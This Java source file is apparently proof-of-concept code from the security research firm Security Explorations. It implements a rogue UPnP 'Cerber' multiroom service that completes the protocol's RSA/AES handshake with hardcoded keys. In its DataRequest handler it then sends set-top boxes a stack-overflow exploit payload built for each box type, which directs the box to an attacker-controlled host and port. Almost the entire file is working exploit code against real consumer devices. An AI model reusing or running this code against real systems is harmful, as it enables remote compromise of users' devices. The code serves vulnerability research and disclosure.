/*## (c) SECURITY EXPLORATIONS    2018 poland                                #*/
/*##     http://www.security-explorations.com                                #*/

/* THIS SOFTWARE IS PROTECTED BY DOMESTIC AND INTERNATIONAL COPYRIGHT LAWS    */
/* UNAUTHORISED COPYING OF THIS SOFTWARE IN EITHER SOURCE OR BINARY FORM IS   */
/* EXPRESSLY FORBIDDEN. ANY USE, INCLUDING THE REPRODUCTION, MODIFICATION,    */
/* DISTRIBUTION, TRANSMISSION, RE-PUBLICATION, STORAGE OR DISPLAY OF ANY      */
/* PART OF THE SOFTWARE, FOR COMMERCIAL OR ANY OTHER PURPOSES REQUIRES A      */
/* VALID LICENSE FROM THE COPYRIGHT HOLDER.                                   */

/* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS    */
/* OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,*/
/* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL    */
/* SECURITY EXPLORATIONS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, */
/* WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF  */
/* OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE     */
/* SOFTWARE.                                                                  */

import java.lang.*;
import java.io.*;
import java.net.*;
import java.util.*;
import java.nio.*;
import java.util.zip.*;
import javax.crypto.*;
import java.math.BigInteger;
import java.security.*;
import java.security.interfaces.*;
import java.security.spec.*;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.DocumentBuilder;
import javax.crypto.spec.*;
import javax.crypto.*;
import org.w3c.dom.Document;
import org.w3c.dom.NodeList;
import org.w3c.dom.Node;
import org.w3c.dom.Element;
import sun.misc.BASE64Decoder;
import sun.misc.BASE64Encoder;

public class Multiroom {
 public static final int BUFSIZE = 8192;

 static Hashtable host_types=new Hashtable();

 public static class DataPackage {
  ByteBuffer bb;

  public DataPackage(byte data[]) {
   bb=ByteBuffer.wrap(data);
   bb.order(ByteOrder.LITTLE_ENDIAN);
  }

  public int remaining() {
   return bb.limit()-bb.position();
  }

  public int position() {
   return bb.position();
  }

  public int read_int() {
   return bb.getInt();
  }

  public byte[] data() {
   byte data[]=new byte[position()];
   System.arraycopy(bb.array(),0,data,0,data.length);

   return data;
  }

  public void write_int(int i) {
   bb.putInt(i);
  }

  public void get_array(byte tab[]) {
   bb.get(tab);
  }

  public byte[] read_array() {
   int len=read_int();

   byte tab[]=new byte[len];
   bb.get(tab);

   return tab;
  }

  public void write_array(byte tab[]) {
   write_int(tab.length);
   bb.put(tab);
  }

  public void put_array(byte tab[]) {
   bb.put(tab);
  }

  public String read_string() {
   int len=read_int();

   byte tab[]=new byte[len-1];
   bb.get(tab);

   bb.get();

   return new String(tab);
  }

  public void write_string(String s) {
   write_int(s.length()+1);

   bb.put(s.getBytes());
   bb.put((byte)0);
  }
 }

 public static class AuthData {
  byte raw_data[];

  byte hash[];
  byte deviceid[];
  int crc32;
  int status;
  String udn;
  byte shared_key[];
  byte public_key[];

  public byte[] raw_data() {
   return raw_data;
  }

  public AuthData(byte data[]) {
   raw_data=data;

   DataPackage dp=new DataPackage(data);

   hash=dp.read_array();
   deviceid=dp.read_array();

   dp.read_int();
   crc32=dp.read_int();
   status=dp.read_int();
   udn=dp.read_string();

   int cipher_size=dp.remaining();

   byte cipher[]=new byte[cipher_size];
   dp.get_array(cipher);

   byte plain[]=rsa_decrypt(cipher);
   dump_buf("plain",plain);

   int data_crc32=crc32(plain);

   if (crc32==data_crc32) {
    System.out.println("CRC ok");
    DataPackage dpi=new DataPackage(plain);

    shared_key=dpi.read_array();

    add_key(deviceid,shared_key);

    public_key=dpi.read_array();
   }
  }

  public AuthData(byte hash[],byte deviceid[],int status,String udn,byte shared_key[],byte public_key[]) {
   this.hash=hash;
   this.deviceid=deviceid;
   this.status=status;
   this.udn=udn;
   this.shared_key=shared_key;
   this.public_key=public_key;

   byte tmp[]=new byte[2000];

   DataPackage dpi=new DataPackage(tmp);
   dpi.write_array(shared_key);
   dpi.write_array(public_key);

   byte plain[]=dpi.data();
   dump_buf("plain",plain);

   crc32=crc32(plain);

   tmp=new byte[BUFSIZE];
   DataPackage dp=new DataPackage(tmp);

   dp.write_array(hash);
   dp.write_array(deviceid);

   dp.write_int(0x10);
   dp.write_int(crc32);
   dp.write_int(status);
   dp.write_string(udn);

   byte cipher[]=rsa_encrypt(plain);
   dp.put_array(cipher);

   raw_data=dp.data();
   dump_buf("raw_data",raw_data);
  }
 }

 public static class AuthStatus {
  byte raw_data[];

  byte hash[];
  byte deviceid[];
  int crc32;

  public byte[] raw_data() {
   return raw_data;
  }

  public AuthStatus(byte hash[],byte deviceid[]) {
   this.hash=hash;
   this.deviceid=deviceid;

   byte tmp[]=new byte[BUFSIZE];

   byte onetab[]=new byte[0x80];
   for(int i=0;i<onetab.length;i++) {
    onetab[i]=0x01;
   }

   DataPackage dpi=new DataPackage(tmp);
   dpi.write_int(0x00);
   dpi.write_int(0x01);
   dpi.write_int(onetab.length);
   dpi.write_int(0x7f);
   dpi.put_array(onetab);

   byte plain[]=dpi.data();
   dump_buf("plain",plain);

   crc32=crc32(plain);

   tmp=new byte[BUFSIZE];
   DataPackage dp=new DataPackage(tmp);

   dp.write_array(hash);
   dp.write_array(DEVICE_ID);

   dp.write_int(0x10);
   dp.write_int(crc32);

   byte cipher[]=rsa_encrypt(plain);
   dp.put_array(cipher);

   raw_data=dp.data();
   dump_buf("raw_data",raw_data);
  }
 }

 public static class SecureData {
  byte raw_data[];

  byte hash[];
  byte deviceid[];
  int crc32;
  int status;
  byte dtcpip_cert[];

  public byte[] raw_data() {
   return raw_data;
  }

  public SecureData(byte data[]) {
   raw_data=data;

   DataPackage dp=new DataPackage(data);

   hash=dp.read_array();
   deviceid=dp.read_array();

   dp.read_int();
   crc32=dp.read_int();
   status=dp.read_int();

   int cipher_size=dp.remaining();

   byte cipher[]=new byte[cipher_size];
   dp.get_array(cipher);

   byte key[]=get_key(deviceid);

   byte plain[]=aes_decrypt(cipher,key,IV_SEED);
   dump_buf("plain",plain);

   int data_crc32=crc32(plain);

   if (crc32==data_crc32) {
    System.out.println("CRC ok");
    DataPackage dpi=new DataPackage(plain);

    dtcpip_cert=dpi.read_array();

    DTCPIP_CERT=dtcpip_cert;
   }
  }

  public SecureData(byte hash[],byte deviceid[],int status,byte dtcpip_cert[]) {
   this.hash=hash;
   this.deviceid=deviceid;
   this.status=status;
   this.dtcpip_cert=dtcpip_cert;

   byte tmp[]=new byte[BUFSIZE];

   DataPackage dpi=new DataPackage(tmp);
   dpi.write_array(dtcpip_cert);

   byte plain[]=dpi.data();
   dump_buf("plain",plain);

   crc32=crc32(plain);

   tmp=new byte[BUFSIZE];
   DataPackage dp=new DataPackage(tmp);

   dp.write_array(hash);
   dp.write_array(deviceid);

   dp.write_int(0x10);
   dp.write_int(crc32);
   dp.write_int(status);

   byte key[]=get_key(deviceid);

   byte cipher[]=aes_encrypt(plain,key,IV_SEED);
   dp.put_array(cipher);

   raw_data=dp.data();
   dump_buf("raw_data",raw_data);
  }
 }

 public static class PayloadData {
  byte raw_data[];

  byte hash[];
  byte deviceid[];
  int crc32;
  int status;
  int cmd;
  byte data[];

  public byte[] raw_data() {
   return raw_data;
  }

  public PayloadData(byte data[]) {
   raw_data=data;

   DataPackage dp=new DataPackage(data);

   hash=dp.read_array();
   deviceid=dp.read_array();

   dp.read_int();
   crc32=dp.read_int();
   status=dp.read_int();

   if (crc32==0) {
    System.out.println("CRC ok");

    cmd=dp.read_int();
    dp.read_int();
    data=dp.read_array();
   }
  }

  public PayloadData(byte hash[],byte deviceid[],int status,int cmd,byte data[]) {
   this.hash=hash;
   this.deviceid=deviceid;
   this.status=status;
   this.cmd=cmd;
   this.data=data;

   crc32=0;

   byte tmp[]=new byte[BUFSIZE];
   DataPackage dp=new DataPackage(tmp);

   dp.write_array(hash);
   dp.write_array(deviceid);

   dp.write_int(0x10);
   dp.write_int(crc32);
   dp.write_int(status);

   if (crc32==0) {
    dp.write_int(cmd);
    dp.write_int(0);
    dp.write_array(data);
   
    raw_data=dp.data();
    dump_buf("raw_data",raw_data);
   }
  }
 }

 static RSAPublicKey pubKey;
 static RSAPrivateKey privKey;
 static byte[] IV_SEED;

 static int dec_block_size  = 128;
 static int enc_block_size  = 117;

 static int line_size  = 16;

 private static String digits = "0123456789abcdef";

 static Hashtable shared_keys;

 static String UUID;
 static byte[] DEVICE_ID;
 static byte[] SHARED_KEY;
 static byte[] PUBLIC_KEY;
 static byte[] DTCPIP_CERT;

 static {
  try {
   UUID=SSDPServer.UUID;

   DEVICE_ID=new byte[10];
   for(int i=0;i<DEVICE_ID.length;i++) {
    DEVICE_ID[i]=(byte)i;
   }

   SHARED_KEY=new byte[16];
   for(int i=0;i<SHARED_KEY.length;i++) {
    SHARED_KEY[i]=(byte)i;
   }

   shared_keys=new Hashtable();
   add_key(DEVICE_ID,SHARED_KEY);

   init_keys();

   byte mod[]=load_file("public.key");
   byte exp[]=new byte[mod.length];
   exp[exp.length-3]=0x01;
   exp[exp.length-1]=0x00;
   exp[exp.length-1]=0x01;

   PUBLIC_KEY=new byte[mod.length+exp.length];
   System.arraycopy(mod,0,PUBLIC_KEY,0,mod.length);
   System.arraycopy(exp,0,PUBLIC_KEY,mod.length,exp.length);

   IV_SEED=new byte[0x10];

   for(int i=0;i<IV_SEED.length;i++) {
    IV_SEED[i]=(byte)i;
   }
  } catch(Throwable t) {t.printStackTrace();}
 }

 static void add_key(byte id[],byte key[]) {
  shared_keys.put(new String(id),key);
 }

 static byte[] get_key(byte id[]) {
  return (byte[])shared_keys.get(new String(id));
 }

 static byte[] load_file(String file) throws Throwable {
  FileInputStream fis=new FileInputStream(file);
  int len=(int)(new File(file)).length();

  byte data[]=new byte[len];

  for(int i=0;i<len;i++) {
   data[i]=(byte)fis.read();
  }

  fis.close();

  return data;
 }

 static String load_key(String file) throws Throwable {
  byte data[]=load_file(file);

  return hex_string(data);
 }

 public static void init_keys() {
  try {
   String PUB_MOD=load_key("public.key");
   String PUB_EXP="03";

   String PRIV_MOD=PUB_MOD;
   String PRIV_EXP=load_key("private.key");

   System.out.println("PRIV_MODULUS  "+PRIV_MOD);
   System.out.println("PRIV_EXPONENT "+PRIV_EXP);

   RSAPublicKeySpec pubKeySpec=new RSAPublicKeySpec(
                     new BigInteger(PUB_MOD,16),
                     new BigInteger(PUB_EXP,16));
   RSAPrivateKeySpec privKeySpec=new RSAPrivateKeySpec(
                     new BigInteger(PRIV_MOD,16),  
                     new BigInteger(PRIV_EXP,16));
        
   KeyFactory keyFactory=KeyFactory.getInstance("RSA");

   pubKey=(RSAPublicKey)keyFactory.generatePublic(pubKeySpec);
   privKey=(RSAPrivateKey)keyFactory.generatePrivate(privKeySpec);
  } catch(Throwable t) {t.printStackTrace();}
 }

 public static String hex_string(int val) {
  StringBuffer hex=new StringBuffer();
   
  val&=0xff;
            
  hex.append(digits.charAt(val>>4));
  hex.append(digits.charAt(val&0xf));

  return hex.toString();
 }

 public static String hex_string(byte data[]) {
  String hex="";

  for (int i=0;i<data.length;i++) {
   int v=(int)(data[i])&0xff;
   hex+=hex_string(v);
  }

  return hex;
 }
     
 public static void dump_buf(String name,byte[] data) {
  System.out.print(name+":");

  for (int i=0;i<data.length;i++) {
   if ((i%line_size)==0) {
    System.out.println("");
    if (i<(data.length-1)) System.out.print(hex_string((i>>8)&0xff)+hex_string(i&0xff)+": ");
   }
   int v=(int)(data[i])&0xff;
   System.out.print(hex_string(v)+" ");         
  }

  System.out.println("");
 }

 public static int crc32(byte buf[]) {
  CRC32 crc=new CRC32();
  crc.update(buf);
  return (int)crc.getValue();
 }

 public static byte[] permute(byte data[]) {
  for(int i=0;i<8;i++) {
   byte c1=data[i];
   byte c2=data[0x10-1-i];

   data[i]=c2;
   data[0x10-1-i]=c1;
  }

  return data;
 }

 public static byte[] aes_decrypt(byte data[],byte key[],byte iv[]) {
  byte res[]=null;

  try {
   byte pkey[]=permute(key);
   byte piv[]=permute(iv);

   Cipher cipher=Cipher.getInstance("AES/CBC/NOPADDING");
   cipher.init(Cipher.DECRYPT_MODE,new SecretKeySpec(pkey,"AES"),new IvParameterSpec(piv));

   res=cipher.doFinal(data);
  } catch(Throwable t) {t.printStackTrace();}

  return res;
 }

 public static byte[] aes_encrypt(byte data[],byte key[],byte iv[]) {
  byte res[]=null;

  try {
   if ((data.length%0x10)!=0) {
    byte tmp[]=new byte[(data.length+0x0f)&0xfffffff0];
    System.arraycopy(data,0,tmp,0,data.length);
    data=tmp;
   }

   byte pkey[]=permute(key);
   byte piv[]=permute(iv);

   Cipher cipher=Cipher.getInstance("AES/CBC/NOPADDING");
   cipher.init(Cipher.ENCRYPT_MODE,new SecretKeySpec(key,"AES"),new IvParameterSpec(iv));

   res=cipher.doFinal(data);
  } catch(Throwable t) {t.printStackTrace();}

  return res;
 }

 public static byte[] rsa_decrypt(byte data[]) {
  byte res[]=null;

  try {
   byte block[]=new byte[dec_block_size];
   byte decrypted[]=new byte[data.length];

   int size=0;

   for(int i=0;i<data.length;i+=dec_block_size) {
    System.arraycopy(data,i,block,0,dec_block_size);

    Cipher cipher=Cipher.getInstance("RSA/ECB/PKCS1Padding");
    cipher.init(Cipher.DECRYPT_MODE,privKey);
 
    byte[] plain=cipher.doFinal(block);

    System.arraycopy(plain,0,decrypted,size,plain.length);
    size+=plain.length;
   }

   res=new byte[size];
   System.arraycopy(decrypted,0,res,0,size);
  } catch(Throwable t) {t.printStackTrace();}

  return res;
 }

 public static byte[] rsa_encrypt(byte data[]) {
  byte res[]=null;

  try {
   byte block[]=new byte[enc_block_size];
   byte encrypted[]=new byte[data.length+0x400];

   int size=0;

   for(int i=0;i<data.length;i+=enc_block_size) {
    int len=enc_block_size;

    if ((data.length-i)<enc_block_size) {
     len=data.length-i;
     block=new byte[len];
    }

    System.arraycopy(data,i,block,0,len);

    Cipher cipher=Cipher.getInstance("RSA/ECB/PKCS1Padding");
    cipher.init(Cipher.ENCRYPT_MODE,pubKey);
 
    byte[] ciphered=cipher.doFinal(block);

    System.arraycopy(ciphered,0,encrypted,size,ciphered.length);
    size+=ciphered.length;
   }

   res=new byte[size];
   System.arraycopy(encrypted,0,res,0,size);
  } catch(Throwable t) {t.printStackTrace();}

  return res;
 }
 
 static byte[] base64_decode(String s) throws Throwable {
  BASE64Decoder base64decoder=new BASE64Decoder();
  return base64decoder.decodeBuffer(s);
 }

 static String base64_encode(byte tab[]) throws Throwable {
  BASE64Encoder base64encoder=new BASE64Encoder();
  String s=base64encoder.encodeBuffer(tab);

  return s.replaceAll("(?:\\r\\n|\\n\\r|\\n|\\r)", "");
 }

 public static Element get_child(Element el) {
  return get_child(el,"*");
 }

 private static String post_cerber_msg(String host,int port,String request,String uuid,String msg) {
  String result="";

  try {
   String s_url="http://"+host+":"+port+"/upnpfun/ctrl/uuid_"+uuid+"/03";
   URL url=new URL(s_url);
   HttpURLConnection conn=(HttpURLConnection)url.openConnection();

   conn.setRequestMethod("POST");
   conn.setRequestProperty("Content-Length",""+msg.length());
   conn.setRequestProperty("Content-type","text/xml; charset=\"utf-8\"");
   conn.setRequestProperty("SOAPACTION","\"urn:schemas-upnp-org:service:X_ADB_CerberService:1#"+request+"\"");
   conn.setRequestProperty("User-Agent","ITI-2850ST/v15.2-rc-151-g42d9237 UPnP/1.0 BH-upnpcp/2.0 DLNADOC/1.51");

   conn.setDoInput(true);
   conn.setDoOutput(true);

   PrintWriter out=new PrintWriter(new OutputStreamWriter(conn.getOutputStream()));
   out.print(msg);

   out.close();

   conn.connect();

   InputStream in=null;

   int code=conn.getResponseCode();

   if (code==200) in=conn.getInputStream();
    else in=conn.getErrorStream();

   if (in==null) {
    System.out.println("HTTP error code "+code);
    System.exit(1);
   }

   BufferedReader b=new BufferedReader(new InputStreamReader(in,"utf-8"));
   String line=b.readLine();

   while(line!=null) {
    result=result+line;
    line=b.readLine();
   }

   b.close();
   in.close();
  } catch(Throwable e) {
   e.printStackTrace();
  }

  return result;
 }

 public static String data_polling_request(String host,int port,String uuid) {
  String res=null;

  try {
   byte payload[]=new byte[0];

   byte did[]=new byte[10];
   did[0]=(byte)20;
   did[0]=(byte)30;
   did[0]=(byte)43;
   did[0]=(byte)59;
   did[0]=(byte)28;
   did[0]=(byte)05;
   did[0]=(byte)42;
   did[0]=(byte)04;
   did[0]=(byte)90;
   did[0]=(byte)23;

//   PayloadData DataReqPayload=new PayloadData(new byte[0x80],DEVICE_ID,0x00,0x05,payload);
   PayloadData DataReqPayload=new PayloadData(new byte[0x80],did,0x00,0x05,payload);

   String dp=base64_encode(DataReqPayload.raw_data());

   String xml="";
   xml+="<?xml version=\"1.0\" encoding=\"utf-8\"?>";
   xml+="<s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">";
   xml+="<s:Body><u:DataPolling xmlns:u=\"urn:schemas-upnp-org:service:X_ADB_CerberService:1\">";
   xml+="<DataPollingPayload>";
   xml+=dp;
   xml+="</DataPollingPayload>";
   xml+="</u:DataPolling>";
   xml+="</s:Body>";
   xml+="</s:Envelope>";

   System.out.println("send: data_polling_request");
   System.out.println(xml);

   res=post_cerber_msg(host,port,"DataPolling",uuid,xml);

   System.out.println("recv: data_polling_resp");
   System.out.println(res);
  } catch(Throwable t) {t.printStackTrace();}

  return res;
 }

 public static Element get_child(Element el,String name) {
  NodeList nlist=el.getElementsByTagName(name);
  if (nlist!=null) return (Element)nlist.item(0);
   else return null;  
 }

 public static String el_name(Element el) {
  String name=el.getTagName();

  String pfx="";
  int idx=name.indexOf(":");
 
  if (idx>0) {
   name=name.substring(idx+1);
  }

  return name;
 }

 public static String get_tag_value(Element el,String name) {
  String res=null;

  NodeList nlist=el.getElementsByTagName(name);

  if (nlist!=null) res=nlist.item(0).getTextContent();
 
  return res;
 }

 public static byte[] AuthorizationVerification_req(Element el) {
  byte resp_data[]=null;

  try {
   System.out.println("AuthorizationVerification_req");

   String b64cdi=get_tag_value(el,"ClientDeviceInfo");
   System.out.println("ClientDeviceInfo: "+b64cdi);

   byte cdi[]=base64_decode(b64cdi);

   dump_buf("cdi_req_data",cdi);

   AuthData ClientDeviceInfo=new AuthData(cdi);

   String udn="uuid_"+UUID;

   AuthData ServerDeviceInfo=new AuthData(new byte[0x80],DEVICE_ID,0x03,udn,SHARED_KEY,PUBLIC_KEY);

   String sdi=base64_encode(ServerDeviceInfo.raw_data());

   AuthStatus AuthorizationStatus=new AuthStatus(new byte[0x80],DEVICE_ID);
   String as=base64_encode(AuthorizationStatus.raw_data());

   String xml="";
   xml+="<?xml version=\"1.0\" encoding=\"utf-8\"?>";
   xml+="<s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">";
   xml+="<s:Body><u:AuthorizationVerificationResponse xmlns:u=\"urn:schemas-upnp-org:service:X_ADB_CerberService:1\">";
   xml+="<ServerDeviceInfo>";
   xml+=sdi;
   xml+="</ServerDeviceInfo>";
   xml+="<AuthorizationStatus>";
   xml+=as;
   xml+="</AuthorizationStatus>";
   xml+="</u:AuthorizationVerificationResponse>";
   xml+="</s:Body>";
   xml+="</s:Envelope>";

   resp_data=xml.getBytes();
  } catch (Throwable t) {
   t.printStackTrace();
  }

  return resp_data;
 }

 public static byte[] SecureDataExchange_req(Element el) {
  byte resp_data[]=null;

  try {
   System.out.println("SecureDataExchange_req");

   String b64csd=get_tag_value(el,"ClientSecureData");
   System.out.println("ClientSecureData: "+b64csd);

   byte csd[]=base64_decode(b64csd);

   dump_buf("csd_req_data",csd);

   SecureData ClientSecureData=new SecureData(csd);

   SecureData ServerSecureData=new SecureData(new byte[0x80],DEVICE_ID,0x02,DTCPIP_CERT);

   String ssd=base64_encode(ServerSecureData.raw_data());

   String xml="";
   xml+="<?xml version=\"1.0\" encoding=\"utf-8\"?>";
   xml+="<s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">";
   xml+="<s:Body><u:SecureDataExchangeResponse xmlns:u=\"urn:schemas-upnp-org:service:X_ADB_CerberService:1\">";
   xml+="<ServerSecureData>";
   xml+=ssd;
   xml+="</ServerSecureData>";
   xml+="</u:SecureDataExchangeResponse>";
   xml+="</s:Body>";
   xml+="</s:Envelope>";

   resp_data=xml.getBytes();
  } catch (Throwable t) {
   t.printStackTrace();
  }

  return resp_data;
 }

 public static byte[] DataPolling_req(Element el) {
  byte resp_data[]=null;

  try {
   System.out.println("DataPolling_req");

   String b64dpp=get_tag_value(el,"DataPollingPayload");
   System.out.println("DataPollingPayload: "+b64dpp);

   byte dpp[]=base64_decode(b64dpp);

   dump_buf("dpp_req_data",dpp);

   PayloadData DataPollingPayload=new PayloadData(dpp);

   if (DataPollingPayload.cmd==0x05) {
    byte payload[]=new byte[0];

    PayloadData DataResponsePayload=new PayloadData(new byte[0x80],DEVICE_ID,0x00,0x05,payload);

    String drp=base64_encode(DataResponsePayload.raw_data());

    String xml="";
    xml+="<?xml version=\"1.0\" encoding=\"utf-8\"?>";
    xml+="<s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">";
    xml+="<s:Body><u:DataPollingResponse xmlns:u=\"urn:schemas-upnp-org:service:X_ADB_CerberService:1\">";
    xml+="<DataResponsePayload>";
    xml+=drp;
    xml+="</DataResponsePayload>";
    xml+="</u:DataPollingResponse>";
    xml+="</s:Body>";
    xml+="</s:Envelope>";

    resp_data=xml.getBytes();
   }
  } catch (Throwable t) {
   t.printStackTrace();
  }

  return resp_data;
 }

 public static byte[] DataRequest_req(InetAddress remote_host,Element el) {
  byte resp_data[]=null;

  try {
   System.out.println("DataRequest_req");

   String b64drr=get_tag_value(el,"DataRequestPayload");
   System.out.println("DataRequestPayload: "+b64drr);

   byte drr[]=base64_decode(b64drr);

   dump_buf("drr_req_data",drr);

   PayloadData DataRequestPayload=new PayloadData(drr);

   if (DataRequestPayload.cmd==0x07) {
    //BUG - STACK OVERFLOW!!!!!!
    //byte payload[]=new byte[0x400];

    int time=(int)(System.currentTimeMillis()/1000L);

    String host=Servers.host_addr;
    int port=POCConfig.RUNJAVA_PORT;

    byte host_ip[]=InetAddress.getByName(host).getAddress();

    int box_type=get_btype(remote_host);

    byte exploit[]=new byte[0];

    if (box_type==-1) {
     box_type=Utils.discover_box_type(remote_host);
     set_btype(remote_host,box_type);
    }

    if (box_type!=-1) {
     int payload[]=Payload.get(host_ip,port,box_type);

     exploit=new byte[payload.length*4];

     for(int i=0;i<payload.length;i++) {
      int v=payload[i];

      exploit[4*i+0]=(byte)((v)&0xff);
      exploit[4*i+1]=(byte)((v>>8)&0xff);
      exploit[4*i+2]=(byte)((v>>16)&0xff);
      exploit[4*i+3]=(byte)((v>>24)&0xff);
     }
    }

    PayloadData DataResponsePayload=new PayloadData(new byte[0x80],DEVICE_ID,0x00,0x07,exploit);

    String drp=base64_encode(DataResponsePayload.raw_data());

    String xml="";
    xml+="<?xml version=\"1.0\" encoding=\"utf-8\"?>";
    xml+="<s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">";
    xml+="<s:Body><u:DataRequestResponse xmlns:u=\"urn:schemas-upnp-org:service:X_ADB_CerberService:1\">";
    xml+="<DataResponsePayload>";
    xml+=drp;
    xml+="</DataResponsePayload>";
    xml+="</u:DataRequestResponse>";
    xml+="</s:Body>";
    xml+="</s:Envelope>";

    resp_data=xml.getBytes();

    System.out.println("!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!");
    System.out.println("SEND EXPLOIT!!!!!!!!!!!!!!!!!!!!");
    System.out.println("!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!");
   }
  } catch (Throwable t) {
   t.printStackTrace();
  }

  return resp_data;
 }

 public static byte[] process_envelope(InetAddress remote_host,Element el) {
  byte resp_data[]=null;

  try {
   System.out.println("process_envelope");

   el=get_child(el);
   String name=el_name(el);

   if (name.equals("Body")) {
    System.out.println("body");

    el=get_child(el);
    name=el_name(el);

    if (name.equals("AuthorizationVerification")) {
     resp_data=AuthorizationVerification_req(el);
    } else

    if (name.equals("SecureDataExchange")) {
     resp_data=SecureDataExchange_req(el);
    } else

    if (name.equals("DataPolling")) {
     resp_data=DataPolling_req(el);
    } else

    if (name.equals("DataRequest")) {
     resp_data=DataRequest_req(remote_host,el);
    }

   }
  } catch (Throwable t) {
   t.printStackTrace();
  }

  return resp_data;
 }

 public static byte[] process_request(InetAddress remote_host,byte[] req_data) {
  byte resp_data[]=null;

  try {
   System.out.println("Multiroom req: "+new String(req_data));

   DocumentBuilderFactory dbf=DocumentBuilderFactory.newInstance();
   DocumentBuilder db=dbf.newDocumentBuilder();

   ByteArrayInputStream bais=new ByteArrayInputStream(req_data);

   Document doc=db.parse(bais);
   doc.getDocumentElement().normalize();

   Element el=doc.getDocumentElement();
   String name=el_name(el);

   if (name.equals("Envelope")) {
    resp_data=process_envelope(remote_host,el);

    System.out.println("Multiroom resp: "+new String(resp_data));
   }
  } catch (Throwable t) {
   t.printStackTrace();
  }

  return resp_data;
 }

 public static int int_value(InetAddress addr) {
  byte ip[]=addr.getAddress();

  int b0=((int)ip[0])&0xff;
  int b1=((int)ip[1])&0xff;
  int b2=((int)ip[2])&0xff;
  int b3=((int)ip[3])&0xff;

  int val=(b0<<24)|(b1<<16)|(b2<<8)|(b3);

  return val;
 }

 public static void set_btype(InetAddress addr,int type) {
  int ip=int_value(addr);

  host_types.put(new Integer(ip),new Integer(type));
 }

 public static int get_btype(InetAddress addr) {
  int ip=int_value(addr);

  Integer itype=(Integer)host_types.get(new Integer(ip));

  if (itype!=null) {
   return itype.intValue();
  }

  return -1;
 }

 public static void main(String[] args) {
  try {
   System.out.println("Multiroom server");

   for(int i=0;i<args.length;i++) {
    String req_file=args[i];
    byte req_data[]=load_file(req_file);

    byte resp_data[]=process_request(null,req_data);
   }
  } catch (Throwable t) {
   t.printStackTrace();
  }
 }
}
